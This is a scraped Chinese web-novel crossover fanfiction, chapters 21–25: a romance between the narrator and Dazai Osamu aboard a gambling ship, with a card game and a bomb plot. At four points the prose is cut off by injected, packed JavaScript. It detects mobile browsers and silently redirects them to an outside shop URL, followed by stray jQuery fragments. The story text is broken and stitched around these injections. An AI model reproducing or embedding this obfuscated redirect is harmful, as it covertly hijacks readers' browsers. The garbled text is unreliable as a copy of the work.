很可怕吧,那时我真的沉醉其中了,这种将他人生杀予夺大权掌握在手里的享受,受人畏惧的快感,就好像,我终于从一盘菜变成用餐的人了。
虽然每次赢钱之后又会把钱还回去,但我享受的就是他们对我感激涕零的表情,好像我是他们的神,我掌控了他们的心智。”
真是一段难忘的记忆,我想,为了不让太宰治以为我是脑残圣母真是拼了,自曝黑历史。
“太宰君,你觉得我可怕吗。”
我问,我期望着能得到一个温柔的回答,或者干脆什么都不说。
上辈子的我太肤浅愚蠢、太自私虚伪了,我能理解太宰治不喜欢我的过去,我只求他不要说。
如果得到厌恶的评价,我会难过的跳海。
太宰治静静地听着,我认真确认他没有任何不适的反应,可回答却让我出乎意料。
“雪纪和我想的一样,非常傲慢,却把自己包装成平易近人的样子。”
——
只有对自己的手段自信到自负的人才不会担心被拖后腿的问题,同样身为天才的太宰治对此心知肚明。
森雪纪却很意外的样子,“哈,你怎么血口喷人。”
是伪装成普通人太久了把自己都骗过了吗,森雪纪希望自己生来平凡,但她离平凡人的生活太遥远伪装不到位,任谁都能看出草地上一朵鲜花的出挑。
所以她想象不到,伊藤开司接受她的帮助后心情有多复杂,只会更努力比赛证明给她看。
自以为是的善良啊,反而容易把人推向深渊。
不过,如果他的推断是真的,有异能力的话,那家伙应该不会输得太难看。
想得入神,太宰治突然听到怀里的人微微颤抖,发出小动物的一声抽噎。
“雪纪?”
赶紧把人挖出来看看,还好,幽蓝的眼睛只是发红,但没有哭。
太宰治连忙拍了拍森雪纪的肩,似乎因为他的话让雪纪难过了,百思不得其解,雪纪做普通人的意愿就这么坚定吗。
“你觉得我是坏人吗。”
……
就因为这个?太宰治的瞳孔慢慢放大。
好可爱,这一刻太宰治终于理解了福泽社长对猫的喜爱,太可爱了。
她是如此、如此,喜欢着我,在意我啊。
——
总算把人哄好了,太宰治有些无奈,又带着隐秘的欣喜。
那么聪明无所不能的森雪纪,她唯一的软肋是我。
不过该转移下雪纪的注意力了,不能让她沉浸在不好的回忆中,好在手边就有个现成的理由。
“好无聊,我们也玩一局游戏吧,雪纪。”
“三局两胜,输的一方把星星全部交给对方,并上缴工资。”
提到工资,原本兴致缺缺的森雪纪被提起了兴趣,开始跃跃欲试。
“好啊,要全力以赴哦”
太宰治含笑答应。
这时当然不能告诉雪纪,自己的工资每个月都因为各种理由扣得就剩几个硬币。
未来要一直吃软饭。^-^
21.小情侣play的一环
i人擅长脑补自我攻略
*
工资诶,上交工资,多亲密无间的事。
说实话我很担心到时只能看到空空如也的钱包,因为太宰治每次落水都会丢些小物件,有时是钥匙有时是手机,钱包被丢的次数最多。
可以预估到他的经济情况了。
嘛,反正我没指望太宰治让我当富婆,也没考虑过最后是我输掉的情况,我喜欢这种理所应当把控一切,在喜欢的人不知道的时候早已把他安排进自己的计划中的感觉。
会感动吗,会吧。我也是第一次做这种事,不了解被我计划之人的心情。
我是靠观察模仿其他人的行为来充实我自己的人。
大一时和我一起打工的同事姐姐交了个男朋友,准确的说是未婚夫。他俩都是千叶县人,高中毕业后来东京打工,非常喜欢东京的他们称呼自己是“乡下人”,来东京生活则叫“上京”,他们的梦想是在东京的江户川区买一套小房子做他们的婚房。
为了攒买一户建的钱,同事姐姐和她的男朋友每天要打至少两份工,钱都放在同事那里,由她负责每月的开销存储。
我很奇怪,问为什么要把钱都放在一个人手里,同事姐姐语重心长地说:
“因为我能计划好每月支出多少钱,存多少钱来付首付啊,皋君也相信我能做得很好。”
“森,一个家庭最重要的就是财政大权,这关系着一家人的未来。如果以后你有了想要结婚的对象,记得要他上缴工资哦。”
“不知道森这样的女孩会喜欢什么样的男生~”
当时我被同事充满母爱的眼神吓得寒毛直竖,连连称是,直到刚才太宰治提出这个奖励,我才又想起来同事姐姐说的话。
太宰治的意思是,想要和我达成长久的关系,对吧?
他信任我能把控好两个人的未来,对吧?
Bgm燃起来了,我不会输的,不然很难想象我的稿费落到太宰治手里会变成多少螃蟹和酒。
——
我和太宰治来到了牌桌前。
每个人的手上有三种牌分别是剪刀石头布,每种牌各四张共十二张,一局游戏下来会消耗三张牌,但你不知道对方出的是哪张牌。
纯粹的概率问题,听起来就像是拼运气。
但在我上辈子无数个拼运气玩牌的夜晚,我都是唯一一个落日从赢到夜尽天明的人。
我只输过一次。
那一次,也是玩石头剪刀布。
太宰治站在我的对立面,中间是作为裁判的黑衣人,我们要同时把牌放在桌上,然后掀开牌面。
太宰治的心思没放在游戏上,还朝我比鬼脸,“我要放牌喽,雪纪。”
说着大大咧咧从口袋里随意抽出了一张牌放在桌上。
黑衣人看向我,“该你了。”
“嗯。”
我同样抽出了一张牌,放在桌上。
“请亮牌。”
我和太宰治同时掀开牌面,剪刀对布,我赢了。
太宰治立刻鼓掌星星眼,“好厉害,不愧是雪纪。”
我笑笑,下一场才是关键呢。
在我唯一一次输的那场牌局里,也是第一次赢,但后两次输。
现在回想起来,那个人就像早就料到我会出哪张牌似的,连我的假动作都看穿了,精准无误地让我输掉第二局。
在输掉第二局后,他突然提了个条件。
“如果这次还是我赢的话,你要答应我不能再来这种地方,不能再玩牌了。”
我只嫌他多管闲事,“为什么,你要接管这家店?”
我常去玩牌的店就是我从上一任店主手里赢来的。
那个人沉默片刻,努力斟酌着词句。“不,我只是希望你做些更有意义的事,你现在一点都不快乐,不是吗。”
“我赢过你,是想让你不要再这样无所事事下去了,你还有好多事情没有完成。”
真是一个奇怪的人,我随便地答应了他的条件,然后在第三局输掉,愿赌服输从此再不玩牌。
巧合的是,那天玩的剪刀石头布,对方的顺序和太宰治是一样的。
第一局是布,那第二局是……石
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14449506|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头?
我又出了一次剪刀。
黑衣人:“请亮牌。”
牌面翻转,我是剪刀,太宰治是石头。
竟然,竟然真的和那次的牌局一模一样。不敢相信真是真是的,我双手撑住桌子里牌贴得更近,几乎把两张牌瞪出个洞。
“哇哦,我运气真好,谢谢雪纪让我赢一次。”太宰治夸张地大吼大叫,把我抱起来颠了一下。
我同样紧紧抱住他,抓住他的衬衫不放,太宰治好像误会了什么,“你就这么想拿下我的工资吗。”
“才不是!太宰君,你之前有没有和人玩过这种游戏啊,我是指女的。”
“嗯,没有哦,我才不喜欢这种无聊的游戏,我喜欢打电动。”
好像确实没有发现太宰治有这方面的爱好,难道真的只是巧合。
我一次次描绘太宰治隽秀朗清的眉眼。
上辈子赢我牌局的那个人带着口罩和鸭舌帽,故意压低了声音,让人无法判断他的身份。
曾改变我后半生的那场牌局,冥冥之中和与太宰治的牌局吻合了,怎么会有这么巧的事。
如在梦中你和牧羊少年在草原相恋,多年后竟来到了和梦里一模一样的地点,你站在那片梦中的草原,牛羊悠闲地在你脚边吃草,恰似故地重游。
说不定真的就那么巧呢。
没错,我和太宰治的缘分是前世注定,今生结缘,我果断把自己说服了。
突然振奋了许多,太宰治对我心情一会儿好一会儿坏一头雾水,觑着确定我的脸色犹豫道:
“你还好吧……?”
“我很好,从来没这么好过。”我说,拉着太宰治的手郑重其事道:
“太宰君,不管这局是输是赢我都不会把稿费让给你的,这个家只能我说了算。不对,你现在还不是我男朋友,暧昧对象一号太宰治。”
“啊,不要啊,再给我一次机会嘛雪纪,不要那么小心眼。”
许是看不得别人卖狗粮,黑衣人不甘示弱地开口打断了我们俩腻歪。
“第三局,请两位出牌。”
22.我们可是纯爱啊
i人严厉打击恶俗替身桥段
*
这一次我先放牌,太宰治跟上。
我还是选择了和前世一模一样的牌面,但对我来说,输赢已经不重要了。
黑衣人:“请亮牌。”
布对石头,胜方是我。
长舒一口气,财政大权保住了。
太宰治平静地把贴在胸前的星星撕下来递给我,“恭喜,雪纪好厉害。”
他怎么突然闷闷不乐的。
这时,刚才说在跟踪调查的萩原研二回来了。
只是衣服有些凌乱狼狈,但没有受伤,萩原研二眉头紧锁,看起来心事重重,我头一次见他烦恼到忘记表情管理,想到我原本是他的协助人不由一阵心虚。
“萩原君你的脸色很不好,有什么我能帮忙的吗。”
萩原研二垂下眼勉强笑笑,“不用,只是发现以前一个朋友也上了这条贼船,对他的堕落感到痛心而已。”
那还真挺惨的。我同情道:“要不要我把他的牌都赢过来给他个教训?”
“不用,我亲自去,我还有话问他。”
说着萩原研二仿佛重新找到了目标,大步朝人流走去,很快他就和一个金发黑皮的男人纠缠着走到牌桌前了。
那个金发男长得这么帅,竟然是赌鬼?
“太宰君,我们去看看热闹吧,你看伊藤君也在那边呢。”
说着我就往那边走,想也许能让太宰治调整下心情,却被太宰治拉了回来。
“就算我在你眼前站着,你也会被其他事物转移注意力,我对你来说毫无兴趣可言吗。”
啊,太宰治在发什么疯。
见我没有回应,太宰治更不快了,这套黑西装就和有buff一样,穿上它感觉太宰治突然幼稚了许多。
我亡羊补牢道:“我对你很有兴趣啊。”
太宰治摇摇头,像是自嘲。
“雪纪,我突然想起来,当初你在河边看到我的第一眼时愣了一下对吧,然后就答应了交往。”
“嗯。”这有什么问题吗,任谁看到美丽的事物都会停下来好好欣赏一下吧。
“是吗,这样啊。”
太宰治的语气说不上是高兴还是不高兴,凭我对他浅显的理解那就是生气了。
我不太理解他生气的点。
难道是觉得我看脸太庸俗了?我承认我是个庸俗的人,美丑爱好分明。
但是能让我认可你的脸你应该对此感到荣耀啊太宰治,这可是曾经价值五百万美元的脸认可你的容貌和她平分秋色不分上下。
我恨铁不成钢,恨不得和他科普一下现在进娱乐圈他会是什么身价。
任我心理活动有多狂风暴雨,低着头摆弄着我的手指的太宰治仍一无所知,不知何时起他突然多了这样的爱好。
葱管似的手指放在在太宰治的手心,莫名有种被珍视的感觉。
我没有做美甲的习惯,学医也不允许我做美甲,纯子却很喜欢,每次逛街她都要在美甲店消耗至少两个小时。而现在太宰治托起我的手细细端详,手指点点我光秃秃的指甲盖时,竟然觉得有点窘迫。
哪怕偶尔做个保养也好啊,又短又粗的指甲一点也不好看。
不过要是因此每周多出门一趟也太费事了,算了,爱人要爱她的全部,看不顺眼太宰治会自己调理好的。
像是看出了我的纠结,太宰治抬起头笑着说:
“我很喜欢雪纪哦,雪纪全身上下每个部位我都很喜欢,非常真实。”
说着就把我的手放在他的脸颊上蹭了蹭。
还来不及高兴,原本被虚拢住的手突然被抓紧了,
“但是,”太宰治慢吞吞地说:
“你刚才玩牌时,一点都不专心。我一直在看着雪纪,可雪纪没有看我也没有看牌,你在透过游戏想着另一个人。”
如此敏锐。
我想开口解释,一根手指竖在我的嘴唇前。
“嘘。”
我和太宰治之间的间隔只有一根手指的距离,他目不转睛地观察我此刻“被戳穿”的表情,轻笑。
“不愧是被我认可的雪纪,演技真好。”
“茫然无辜地,就和你只是打了个盹儿一样。”
当然了我可是最佳女主角……不对,我和你在一起时纯真情流露没有一点演技啊,我大惊失色。
我出声反驳,太宰治抢先一步捂住了我的嘴。
他的另一只手禁锢着我的腰,外人看来我俩只是紧紧相拥在一起,太宰治蓬松柔软的卷发遮住了他的视线,只有我能看到他的眼睛。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14458077|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
饱含着阴郁疯狂,又充满爱意与恨的眼睛。
太宰治自顾自道:
“如果我和雪纪的恋爱起源于替身文学之类无比恶心的桥段,我会非常非常生气,会把雪纪关起来,只能看着我。”
“我会每天都问一遍,我和那个人像不像。雪纪说像,我就惩罚,雪纪说不像,我也不相信。反正雪纪没有亲人,我还会让你失去朋友和工作,让我成为雪纪唯一的依靠,这样我和雪纪心底的那个人到底像不像,都没有关系了。”
“雪纪是我一个人的了。”
我想象了一下,有人24小时贴身照顾有求必应只是不出门还挺好的,心动了。
不不不,不能这样,不能助长太宰治的嚣张气焰。
两只手掐住太宰治的脸颊用力向外扯,疼痛的作用下太宰治的眼神顿时清澈了许多,又耍无赖般地撒娇,“唔唔,好疼啊雪纪。”
疼就对了。
“有时我真想报警把你抓起来。”
这小东西脑子里都在想什么啊。
合着他郁闷那么久都是在脑补古早言情剧?
不要用你异想天开的大脑玷污我纯粹见色心起的爱情,我们可是纯爱啊。(震声)
“才不是替身梗,只是我没想到会猜对你的牌而已,以前玩过一局,那个人的牌面和你一模一样。”
太宰治警觉,“那个人长什么样?”
我怎么知道那个人的样貌,说白了牌面一样只是巧合啊。
绞尽脑汁,大脑过载。
“额……”
“别动,别出声。”
突然严肃的太宰治带我走到临近卫生间的拐角,让我站在他的身后。
这是个非常隐蔽适合观察全场的位置。
顺着太宰治隐晦的目光,我看到从二楼下来一位银发碧眼的男人。
他同样身着黑色的大衣,带着手套,肖似外国血统的脸轻蔑地打量着大厅庸庸碌碌的人群。
在混乱的人群中,他似乎看到了谁,叼着雪茄的嘴角露出一抹似有若无的笑意。
他又上楼了,很快一位一头华发但精神矍铄的老人迎接他返回二楼的包厢。
我盯着他的背影,
身后垂落的银色长发夹杂着从遥远的北方飘扬而来的风雪。
23.八个蛋离我远一点
i人e人一台戏
*
顺着银发男人刚才凝视的目光看去,站在那个位置上的有两拨人。
伊藤开司和古钿站在牌桌前,两人嘀嘀咕咕半天,最后伊藤又站在了牌桌上。
看起来伊藤君已经有了计划胸有成竹,祝他成功。
隔壁牌桌的萩原研二和金发黑皮帅哥拉拉扯扯,看样子萩原君想拉他上牌桌对方不同意。金发帅哥旁边站着一个同样一身黑衣,戴墨镜有点胖的男人。
墨镜男并不关注牌桌,他站在金发帅哥的身后不停地巡视附近的人,像是在警戒。
就是这两个人了。
“萩原君面前的那两个人和银发男是同伙,太宰君,我们赶快去提醒他。”
这时我才发现太宰治不知何时已经不再看向二楼,他收回了类似对敌人暗含杀意的眼神,反而是满怀探究与欣赏地凝视着我。
看得我起了一身的鸡皮疙瘩,茫然道:
“怎么了。”
太宰治笑着摇摇头,像是在否定自己。
“没什么,在这之前我有个问题,雪纪是怎么知道那个人是极道组织派来的。”
为什么,很显而易见啊,太宰治每次问我为什么时都会让我微妙地不爽,这是拿我当傻子看还是玩解谜游戏呢。
我耐着性子回答:
“你应该事先调查过了吧,这艘船的主人是帝爱集团的老板兵藤和尊,一位金融圈大佬。如果他只是个普通的生意人偶尔赌一赌,就不会招惹到警方还有你和安吾君的调查了,历来d博都是最好的洗钱方式,警方还掌握了他让输掉的赌徒挖黑矿的证据,这么庞大的现金会流向哪里呢,谁会为兵藤和尊担保、配合他的行动呢,只能是权势更大的人,或者是一个组织。”
既然要做警察的协助人,萩原研二还是我的朋友,我自然要做完全的准备,把这艘破船的底细查个底朝天。
“这样的合作应该已经持续很久了,[希望之船]出现了多久,洗钱和挖矿就出现了多久,但现在两方已经开始对对方不满,要重新谈判,或者说,彻底散伙。”
否则就不会把全副武装一看就是精英杀手的人派来了。
“那个男人训练痕迹明显完全没有遮掩的意思,身形高骨骼大肌肉密度高,但大衣略有臃肿,说不定里面藏了武装带,是一个亡命徒。”
太宰治肯定了我的推理,“是的,据我所知,那个银发男人是某个组织的人才。”
据我所知?
侦探真不容易,和黑白两道的人都要打交道混个脸熟,我还以为太宰治和我一样是推理出来的呢。
“他刚才巡视了一遍大厅,是在找他的同伙发出信号,如果谈判失败,就boom——”
太宰治打了个响指,“斩草除根。”
我赞同地点头,如果是我的话,仅凭两三个人是不敢大摇大摆的来到已经能算是敌人的老窝,除非有其他准备。船就非常适合八个蛋,伪装成海难就行了。
等等,八个蛋?!
八个蛋!!!
不要啊,那种事情不要啊。
我颤颤巍巍问:“你确定他们会用八个蛋,谈判破裂杀个人就行了吧,炸掉多麻烦啊。”
“你说呢,用八个蛋来斩草除根,非常高效,不留痕迹。”
太宰治掰着手指头细数炸/弹的优点,末了冷淡地评价,“而且以我对那名杀手的了解,他偏爱用这种方式。”
我心如死灰。
为什么每次我一和萩原君见面,就会遇见八个蛋。
原以为萩原君离开了爆处组,我这种给他涨业绩的体质也能消失了,结果怎么现在发展到能炸翻船的地步。
太宰治误解了我的崩溃,执着于和我殉情的他心情颇好。
“不要怕雪纪,泰坦尼克号式死亡是最浪漫的殉情方式,在最后一刻我会紧紧地拥抱你说出那句I jump。”
“闭嘴啊我才不要死在这里。”
萩原研二我希望你随身带着你的拆弹工具。
我摸了下耳麦,如果这时通过耳麦联系萩原研二就太容易被对方发现打草惊蛇了。
我正犹豫着,太宰治的手搭上了我的肩拥着我走进人群,拔高了声音说道:
“亲爱的,我保证能带你下船顺便再赚一大笔钱,赶紧带我去和你那个穷酸的前男友摊牌吧,他配不上你。”
周围的人群瞬间被吸引了目光,看到一身行头唬人,一看就是有油水的富家少爷行头唬人和打扮暴露妖娆的女人倚在一起后变得了然。
我迅速反应过来,翻了个白眼,“就他那个窝囊废,说好了赚大钱带我移民,输了钱又怪我,我都不想再见他。”
“哈哈哈那可真是个废物,宝贝我可和他不一样,等下了船我就带你去新加坡度假。”
“真的?亲爱的你真好!”
旁若无人的秀恩爱不出意外犯了众怒,“切,狗男女。”
不知是谁嘟囔了一声,声音刚好能让周围人听得清清楚楚。
我:……
红温了红温了,比当众朗读小说更社死的事情出现了。
没想到一开始和萩原研二制定的分手剧本真能派上用场。
太宰治也不知道是演上瘾了还是真情流露,空洞洞的黑眸中带着可怖死气,柔声道:
“你说谁是狗男女?往哪看呢,小心你的眼睛舌头。”
那人不自觉后退一步。
别在人多的地方演!我赶忙远远指着正在和人玩剪刀石头布的萩原研二娇滴滴地说:“我找到他了,他在那呢,我们过去吧。”
拨开乱糟糟看热闹的人群,我气势汹汹抢过萩原研二手中的卡牌丢在地上。
“别玩了,反正凭你的运气也挣不到下船的条件,”
太宰治紧随其后,他脸上的愉悦不像演的,接了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14466102|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一句:
“喂,你已经是过去式了,识相点就把你的星星都交出来,我们回去后会去矿上看你的。”
萩原研二:……?
开演了吗,没人通知我啊。
——
从跟踪那个名叫[伏特加]的人来到轮船控制室,目睹了他买通船长的那一刻起萩原研二意识到这次行动不只是调查非法胁迫人员挖矿那么简单了。
还有另一伙人潜伏在船上,比[希望之船]的主人兵藤和尊更危险的一伙暴徒。
必须马上联系地面的同事,请求支援。
重新返回大厅,萩原研二惊讶地发现自己失踪已久的警校同期好友降谷零和[伏特加]站在一起。
犹豫再三,萩原研二还是决定借着游戏的机会和zero说几句话。
能让zero隐姓埋名潜伏的组织一定非常危险,这种组织的成员会登上这艘船,我至少要了解点情况,再想办法把森雪纪和她男朋友送出去,至少不能让因我才牵扯进这次事件的人受牵连。
刚下定决心没多久,森雪纪和她男朋友就找来了。
“这就是那个小白脸,长得也不怎么样啊。”
啊咧?停止了和好友名为挑衅实为叙旧的对话,萩原研二目光呆滞地看向朝自己走过来的森雪纪和她的男朋友岛津治也。
不对,他们一定是有了其他线索为了蒙蔽视线才会出此下策,萩原研二立刻准备接戏。
“哼,我只是瞎了眼才看上他,一个穷酸货。”
森雪纪一脸鄙夷,感受到其他人不善的视线后更加得意,撩起头发假装不经意的翻出披在她身上,属于岛津治也的大衣衣领上的名牌标识。
“土包子,知道这一件衣服值多少钱吗,还看,再看收费!”
平日温和冷淡的森雪纪在这一刻就像突然转变了人格,连举止气质都变得俗气市侩,和他俩之前商议的庸俗拜金女人设分毫不差。
这演技也太好了吧。
但萩原研二不愧是目前搜查一课演技第一人,无数个和同事一起为了盯梢嫌疑人的伪装经验提升了他的演技,眨眼的工夫就完成了人设的转换。
“雪纪,他是谁,你怎么能让他和你这么亲密,我可是为了你才会上这艘船的呀,你不能抛弃我。”
岛津治也不甘示弱,“能和雪纪当一天的[男友]都是你的福气了,现在闭嘴带上你的牌跟我们走。”
——
此时,好不容易赢了一局的伊藤开司站在人群中兴奋地吃老同学的瓜,听了一会儿后他理所当然道:
“切,有什么好争的,你俩一起给森同学当后宫不就行了,这都算便宜你俩了。”
他的好朋友,随随便便借他三十万块钱的森雪纪,就算找十个八个男模开司都会说是人家身体好。
……
我窒息了。
伊藤开司你不会说话没人把你当哑巴。
24.你想加入这个家吗
i人的追求者真多啊
*
伊藤开司话一出,在场的三人都沉默了,三双幽幽的眼睛看向伊藤开司,害得开司起了一身鸡皮疙瘩。
我怎么了,我说的不对吗,伊藤开司一头雾水。
“呵”,岛津治也皮笑肉不笑地扯了下嘴角,“怎么,你也想加入我们?”
一旁的森雪纪看起来要昏过去了。
在另外两位当事人尴尬的沉默中,角落里又传出了一句:“我靠,太刺激了。”
谁在说话?萩原研二顺着声音寻找,发现竟然是zero在犯罪组织里的同僚,那个[伏特加]。
见到自己被当事人抓包,伏特加挠了挠后脑勺,不好意思的笑了笑,笑容竟然有些腼腆憨厚。
犯罪分子也喜欢看八卦吗?!萩原研二瞳孔地震。
安室透:……因为酒厂同事我在好友面前丢尽了颜面。
这个任务太艰难了,没想到还有丢脸这一出。
差点维持不住人设,安室透咬牙用气音说:“伏特加,小心别被发现,那家伙虽然是个没用的小白脸d徒,但毕竟是警察出身。”
连忙调整了面部表情,伏特加觉得自己又变回冷酷无情的酒厂人了,绷着脸继续看戏。
岛津治也好像没听到他们的小插曲,他一点都不在乎自己在众人眼中逐渐变成疯批恋爱脑的形象,年轻俊秀的一张面孔说话时还带着孩童的稚气,就跟问幼儿园的小朋友要不要和他们一起玩过家家一样。
“伊藤桑,我问你呢,你也喜欢雪纪,想加入我们这个大家庭?”
话到最后,他几乎压制不住森冷的语调,又将气息调和成平淡如一把在古战场久经杀戮后存放在展馆的宝刀。
一有异动,刀必见血。
伊藤开司茫然挠头。
这人长得好看,说话也好听,性格也大气容得下人,看起来还挺有钱能养得起森同学,但怎么就感觉哪里不对劲呢。
直觉使然,多少次靠突然灵光的大脑捡回一条命,顺便挣点钱花的伊藤开司果断道:
“啊,我不喜欢啊,当然如果森同学能教我逢d必赢的赌/技就另当别论了哈哈。”
“兄弟我还是更看好你,就冲你的名牌大衣。”
要是卖二手,拿到的钱至少还能让他再d两天。
“那是不可能的,你还是戒d吧。”
森雪纪终于找到了插话的机会,一手一个把岛津治也和萩原研二拖出了众人视线之外,“你们俩不要再闹了,萩原你识相点就快点把你的星星卡牌筹码交出来。”
难为森雪纪到现在还记得他们演戏的目的是什么,萩原研二配合地假哭跟着森雪纪离开。
“呜呜,雪纪你要什么我都给你求你不要分手。”
岛津治也跟在两人后面,路过伊藤开司时停住脚,开司感觉这时岛津治也的面部表情比刚才真诚清爽多了。
起码不是“敢说是就杀了你”的假笑。
在他腐烂枯叶般颜色的眼睛注视下,伊藤开司情不自禁地绷紧了身体,久违地感到紧张。
岛津治也却好像确定了什么一样笑了下。
“好好d吧,发挥你的优势,在陷入绝境时逆风翻盘。”
说着拍了拍他的肩,追随者森雪纪而去。
……
伏特加惋惜地目送萩原研二跟前女友和前女友的现任离去。
可惜了,年轻人,吃尽了爱情的苦。
经过如此刻骨铭心的惨败,想必已经深刻认识到权钱的重要性,感觉可以吸纳进组织成为他们在警界的线人。
决定了,回去就和大哥说。
——
我要被胡乱加戏的太宰治气死了。
八个蛋就在眼前,不要随时随地戏精发作好吗。
故意没理他,我先和萩原研二交流了下情报,得知这艘船很可能被装了八个蛋后萩原研二神情肃穆,“这个我来解决。雪纪,多谢你和岛津先生发现了这一情况。”
我摆摆手,“没关系,二楼的情况就交给我们吧。只要在规定时间内完成游戏就能上二楼,我会尽快凑齐三颗星星上二楼打探情报的。”
“二楼有安吾在。”撒娇被我无视后的太宰治终于恢复正常,出声提醒。
“他是横滨政府的官员,为了拿到兵藤和尊滥用横滨特殊人才,非法操控金融市场的情报才潜入的。”
我和萩原研二对视一眼,对[横滨特殊人才]的模糊用词没有提出异议。
横滨成为租界后,它的管辖权就变得飘忽不定起来,官方暧昧的态度让横滨变成犯罪者的天堂,直到本土势力的崛起横滨才逐渐恢复平静。与此同时,不断有一小
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14474403|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
部分人被悄悄遣送至横滨,他们被称为[为建设横滨发展特殊人才],这些人以后再进出日本其他府县都会受到盘查。
萩原研二作为警察知道这些并不奇怪,而我则是在大学实习时略有耳闻。
我的病理学教授是一位年逾八十、历经风雨、德高望重的教授,他是退休返聘后才教了我们这一届学生。我有幸被他看作关门弟子,常去他家拜访,又被他引荐给在东大附属医院做医生兼教授的大师兄,才得以有机会在附院实习,又成为了师兄的学生。
有时和师兄聊天,见多识广的他就把这些当笑话讲给我听。
“只有那位安吾君一个人吗。”萩原研二有点担心。
“那不然还是我上二楼瞧瞧吧。萩原君你和太宰君一起,忘了说,他的真名是太宰治。”
我指了指太宰,“他是一名侦探,用了化名。”
萩原研二点点头,又忍不住感慨:“日本的侦探真多啊。”
确实,我心有戚戚。
太宰治还是有些不赞同,突然握住了带耳麦的耳朵,脸色变得难看起来,之后臭着脸敲了敲墙面,是“收到”的意思。
我和萩原研二面面相觑,不约而同地禁了声。
太宰治只是眨了下眼,我却几乎可以听到他的大脑飞速转动的声音。他在不停地计划、模拟、得出结论,再把不利或偶然因素去掉,反复推演。
只是几秒的时间,他就得出了结论,虽然这个结论不是他想要的。
我知道他要说什么了,抢先握住他的手,“你说吧,我相信你的判断。”
太宰治没说话,只拢了拢我身上的大衣,他低垂着眼睛,一根根纤长的睫毛振翅欲飞。
“雪纪,看来确实非你不可了。”
“安吾说,那个兵藤和尊他有个儿子,叫兵藤和也。”
“听说你在这艘船上后,嚷着要见你一面。”
兵藤和也?
我惊讶极了,这不是和我一起在砚友社的杂志上发表文章的同行吗。
那我想我知道他为什么想见我了。
咳,《树影》发表后,这位兵藤和也给我寄了好几封热情洋溢的求爱信,希望见我一面。
我默默地离此时浑身散发着不爽想打人气息的太宰治远一点。
这种事还是不要告诉太宰治了。
25.e人总想搞个大新闻
轮到i人套路别人
*
太宰治郁闷了一会儿,叮嘱我跟紧安吾君就行,他去去就回。
目送他和萩原研二绕开船上负责监视赌/徒的黑衣人离开众人的视线,我转身返回了大厅。
五分钟后,我带着胸前三颗星和额外挣得五百万被黑衣人请上二楼,只有卡牌游戏中的胜出者才被允许前往的地方。
我来的时候人不多,少数几人坐在二楼靠近天台的位置啜饮红酒,一边哈哈大笑,一边欣赏楼下的赌/徒还在苦苦挣扎的丑态。这也是[希望之船]主办人故意设计的,居高临下俯瞰众生的快感和刚刚结束赌/局,因命悬一线的刺激还未消解的荷尔蒙交织在一起,促使着人们下船后迫不及待地再次投入到新的赌/局中,让他们再次欠下大笔债务上船。周而复始,总有一天幸运不会关顾他们,地下黑矿又有了新的劳工。
人群中没有伊藤开司的身影,我不由担心起来,这家伙没问题吧。
看了眼时间,距离游戏结束还有两个小时,船靠岸还有三个小时,要抓紧时间了。
太宰治的意思,原本他和安吾君(我到现在都不知道这位的全名),我和萩原研二只是为了打探点情报才上船的,现在又有了第三方势力(银发杀手)的加入,对方还在船上安装了炸弹,那不给对方回点见面礼就太见外了。
“干脆让船主人兵藤和尊和那个男人一起为海里的小鱼投食吧,想起来我天天投河污染水资源还真有点不好意思。”
太宰治总想搞个大新闻。
说这句话时,他好像只是心血来潮般,对给他找麻烦的人报复心极强的小鬼。
但我想,他真正的目标就是银发杀手。如太宰治所说,对方是另一个组织的杀手,但却因和兵藤合作和横滨的[特殊人才]产生了联系,这是绝对不被允许的,必须把一切危害横滨和平的威胁铲除。
所以还是做一个什么都不知道的普通人好啊~
太宰治没告诉我具体的计划,让我跟着安吾君全场划水就行。
他在有意淡化我的存在,规避我身边可能出现的风险。
心领了。
我随意挑了个没人的位置,从随身的小包里掏出记事本写下这次出行带来的灵感。
周围不断有人经过,打量着我的脸和纤细的小腿,不时倒吸口凉气窃窃私语。
这些人都不重要,我的目标兵藤和也还没有来。
